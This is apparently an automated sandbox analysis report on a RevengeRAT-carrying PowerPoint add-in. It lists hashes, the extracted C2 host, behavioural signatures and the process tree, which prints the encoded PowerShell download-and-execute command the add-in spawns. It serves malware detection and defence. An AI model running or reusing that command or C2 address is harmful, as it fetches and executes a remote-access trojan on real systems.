Resubmissions
23/10/2024, 11:45
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240319-qtxgxsdb721014/03/2024, 02:49
240314-da2ajsbb6510Analysis
- max time kernel
150s - max time network
153s - platform
windows10-2004_x64 - resource
win10v2004-20240226-en - resource tags
arch:x64arch:x86image:win10v2004-20240226-enlocale:en-usos:windows10-2004-x64system - submitted
14/03/2024, 02:49
Static task
static1
Behavioral task
behavioral1
Sample
dbcb21d5f9c1a74aaeacb6fd5e4bda89af7cf80461eae3fa3c61a8bb90bf5044.ppam
Resource
win7-20240221-en
Behavioral task
behavioral2
Sample
dbcb21d5f9c1a74aaeacb6fd5e4bda89af7cf80461eae3fa3c61a8bb90bf5044.ppam
Resource
win10v2004-20240226-en
General
- Target dbcb21d5f9c1a74aaeacb6fd5e4bda89af7cf80461eae3fa3c61a8bb90bf5044.ppam
- Size 21KB
- Sample240314-da2ajsbb65
- SHA256 dbcb21d5f9c1a74aaeacb6fd5e4bda89af7cf80461eae3fa3c61a8bb90bf5044
- MD5 0fa350aeda0300d702cbffe77bdf26e1
- SHA1 3b9a66fd26bfd26cff53e222744b382da0735c74
- SHA512 d4514a79d24d5b165f0588cfa370a92e6d781add023878b515248c453153e26b9e701b2d5b7a1e02976783ba5925a0fd353d25ab8510419c4b6b30df2858e0d1
- SSDEEP 384:dXP27u0zBE0RZ+T9cx/7tsZKhNVqo6JV5ZjXDcd42nS5wYFjg1zTeQcxUwPMyvxh:VP2r60L+BS6ZkHqxJZkd42Sr9g1Xed0k
- MD5 SHA1 SHA512 SSDEEP
Malware Config
Extracted
-
revengerat
-
NyanCatRevenge
-
craxsrat.ddns.com.br:333
-
27d7e6701f5e
Signatures
- Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
description pid pid_target Process procid_target Parent C:\Program Files\Microsoft Office\Root\Office16\POWERPNT.EXE is not expected to spawn this process 1180 636 powershell.exe 89 - RevengeRAT
Remote-access trojan with a wide range of capabilities.
- Blocklisted process makes network request 1 IoCs
flow pid Process 169 1180 powershell.exe - Suspicious use of SetThreadContext 1 IoCs
description pid Process procid_target PID 1180 set thread context of 3144 1180 powershell.exe 109 - Checks processor information in registry 2 TTPs 5 IoCs
Processor information is often read in order to detect sandboxing environments.
description ioc Process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString POWERPNT.EXE Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\SYSTEM\CENTRALPROCESSOR\0 RegSvcs.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString RegSvcs.exe Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 POWERPNT.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz POWERPNT.EXE - Enumerates system info in registry 2 TTPs 3 IoCs
description ioc Process Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS POWERPNT.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily POWERPNT.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU POWERPNT.EXE - Suspicious behavior: AddClipboardFormatListener 1 IoCs
pid Process 636 POWERPNT.EXE - Suspicious behavior: EnumeratesProcesses 3 IoCs
pid Process 1180 powershell.exe 1180 powershell.exe 1180 powershell.exe - Suspicious use of AdjustPrivilegeToken 1 IoCs
description pid Process Token: SeDebugPrivilege 1180 powershell.exe - Suspicious use of SetWindowsHookEx 4 IoCs
pid Process 636 POWERPNT.EXE 636 POWERPNT.EXE 636 POWERPNT.EXE 636 POWERPNT.EXE - Suspicious use of WriteProcessMemory 10 IoCs
description pid Process procid_target PID 636 wrote to memory of 1180 636 POWERPNT.EXE 106 PID 636 wrote to memory of 1180 636 POWERPNT.EXE 106 PID 1180 wrote to memory of 3144 1180 powershell.exe 109 PID 1180 wrote to memory of 3144 1180 powershell.exe 109 PID 1180 wrote to memory of 3144 1180 powershell.exe 109 PID 1180 wrote to memory of 3144 1180 powershell.exe 109 PID 1180 wrote to memory of 3144 1180 powershell.exe 109 PID 1180 wrote to memory of 3144 1180 powershell.exe 109 PID 1180 wrote to memory of 3144 1180 powershell.exe 109 PID 1180 wrote to memory of 3144 1180 powershell.exe 109 - Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
- Uses Volume Shadow Copy WMI provider
The Volume Shadow Copy service is used to manage backups/snapshots.
- Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
Processes
-
C:\Program Files\Microsoft Office\Root\Office16\POWERPNT.EXE"C:\Program Files\Microsoft Office\Root\Office16\POWERPNT.EXE" "C:\Users\Admin\AppData\Local\Temp\dbcb21d5f9c1a74aaeacb6fd5e4bda89af7cf80461eae3fa3c61a8bb90bf5044.ppam" /ou ""1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:636 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -e SQBFAFgAIAAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQAuAEQAbwB3AG4AbABvAGEAZABTAHQAcgBpAG4AZwAuAEkAbgB2AG8AawBlACgAJwANAAoAaAB0AHQAcABzADoALwAvAGYAaQByAGUAYgBhAHMAZQBzAHQAbwByAGEAZwBlAC4AZwBvAG8AZwBsAGUAYQBwAGkAcwAuAGMAbwBtAC8AdgAwAC8AYgAvAHQAZQBzAHQAaQBuAGcALQBlAGEAZgAyADgALgBhAHAAcABzAHAAbwB0AC4AYwBvAG0ALwBvAC8AUgBFAFYARQBOAEcARQBSAC4AagBwAGcAPwBhAGwAdAA9AG0AZQBkAGkAYQAmAHQAbwBrAGUAbgA9ADYAOQBjADAAYgBmADUAOAAtADIAYwBiADAALQA0AGYANwA2AC0AOAA2ADQAOQAtAGEANgA2AGUANQA0AGIANgA2ADkANAAwAA0ACgAnACkAOwAgAA0ACgBBAHUAawB3AFoARABlAGsAawBXAHAAZABmAG8AdABmAEkASQBaAFQARwBrAEgAYwBOAEgATAB1AEEAdABVAGUAQwBOAGQASABPAFYATgBBAA0ACgA=""2⤵
- Process spawned unexpected child process
- Blocklisted process makes network request
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1180 -
C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"3⤵
- Checks processor information in registry
PID:3144
-
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
- Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_k34osv0b.y2j.ps1
- Size 60B
- SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
- MD5 d17fe0a3f47be24a6453e9ef58c94641
- SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
- SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
- MD5 SHA1 SHA512